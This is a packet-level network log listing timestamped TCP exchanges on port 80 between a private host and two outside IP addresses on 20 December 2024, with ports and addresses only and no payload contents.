Dec 20, 2024 04:12:49.318975925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.319016933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.319961071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.319999933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.320082903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.320122004 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.321060896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.321106911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.321173906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.321208954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.322201014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.322243929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.322303057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.322341919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.323281050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.323331118 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.323391914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.323434114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.324404001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.324445009 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.324495077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.324534893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.325445890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.325486898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.332484007 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.332575083 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.460010052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.460021019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.460158110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.460158110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.460273981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.460311890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.460387945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.460421085 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.461391926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.461437941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.461507082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.461546898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.462486029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.462528944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.462596893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.462845087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.463612080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.463650942 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.463747025 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.463788033 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.464720011 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.464764118 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.464919090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.464962006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.465822935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.465867996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.465878963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.465920925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.466928005 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.467024088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.467051029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.467062950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.468019009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.468064070 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.468126059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.468168020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.469136953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.469180107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.469218016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.469259977 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.470419884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.470462084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.470546007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.470588923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.471370935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.471414089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.471477032 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.471520901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.472460985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.472506046 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.472770929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.472816944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.473539114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.473582029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.473650932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.473691940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.474656105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.474700928 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.474765062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.474809885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.475769997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.475816011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.475847960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.475891113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.476874113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.476917028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.476970911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.477014065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.477963924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.478008032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.478064060 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.478105068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.479094028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.479135990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.479193926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.479234934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.480210066 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.480252981 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.480262995 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.480304003 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.481283903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.481328011 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.481395960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.481440067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.482414007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.482476950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.482517004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.482552052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.483511925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.483556986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.483606100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.483649969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.484615088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.484659910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.484720945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.484766006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.485721111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.485766888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.485826969 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.485869884 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.486826897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.486869097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.486938000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.486980915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.487947941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.487991095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.488044024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.488084078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.489033937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.489078999 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.489145041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.489187956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.490154982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.490195036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.490258932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.490302086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.491257906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.491301060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.491374016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.491416931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.492372036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.492417097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.492474079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.492516041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.493464947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.493506908 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.493638039 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.493680954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.494573116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.494616032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.494677067 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.494718075 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.495687008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.495731115 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.495789051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.495831966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.496800900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.496845961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.496921062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.496956110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.497898102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.497942924 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.497967005 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.498011112 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.499022961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.499068022 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.499099016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.499141932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.500133038 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.500149965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.500174046 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.500189066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.501215935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.501260042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.501329899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.501372099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.502331972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.502373934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.502434015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.502477884 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.503420115 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.503463030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.503541946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.503586054 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.504554987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.504602909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.504651070 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.504692078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.505650997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.505692959 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.505742073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.505784035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.506757021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.506799936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.506853104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.506895065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.507859945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.507904053 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.507956028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.507998943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.508965969 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.509010077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.509062052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.509104967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.510066986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.510112047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.510169029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.510211945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.511162043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.511205912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.511276007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.511321068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.512267113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.512311935 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.512387991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.512430906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.513385057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.513427019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.513494968 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.513539076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.514492989 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.514535904 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.514600992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.514643908 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.515599012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.515644073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.515688896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.515732050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.516719103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.516762972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.516839027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.516882896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.517812014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.517855883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.532481909 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.532547951 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.642786980 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.643022060 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.643157959 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.652050972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.652106047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.652223110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.652231932 CET	80	49887	147.45.113.159	192.168.2.4
Dec 20, 2024 04:12:49.652266979 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.652297974 CET	49887	80	192.168.2.4	147.45.113.159
Dec 20, 2024 04:12:49.652540922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.652580976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.652612925 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.652657986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.653393030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.653439045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.653487921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.653528929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.654506922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.654546976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.654603958 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.654639006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.655608892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.655646086 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.655716896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.655756950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.656750917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.656794071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.656863928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.656913042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.657862902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.657946110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.658040047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.658932924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.658981085 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.659040928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.659079075 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.660037041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.660082102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.660145998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.660187960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.661200047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.661242962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.661319971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.661364079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.662260056 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.662305117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.662388086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.662429094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.663338900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.663384914 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.663461924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.663506985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.664484024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.664525986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.664593935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.664638042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.665575027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.665617943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.665678024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.665720940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.666680098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.666727066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.666790962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.666834116 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.667777061 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.667823076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.667931080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.667970896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.668915033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.668957949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.669081926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.669136047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.669986963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.670026064 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.670103073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.670147896 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.671103001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.671143055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.671159983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.671199083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.672214985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.672251940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.672314882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.672353029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.673300028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.673351049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.673414946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.673451900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.674432993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.674484015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.674513102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.674552917 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.675534010 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.675579071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.675604105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.675642014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:49.676651001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:49.676686049 CET	49875	80	192.168.2.4	31.41.244.11
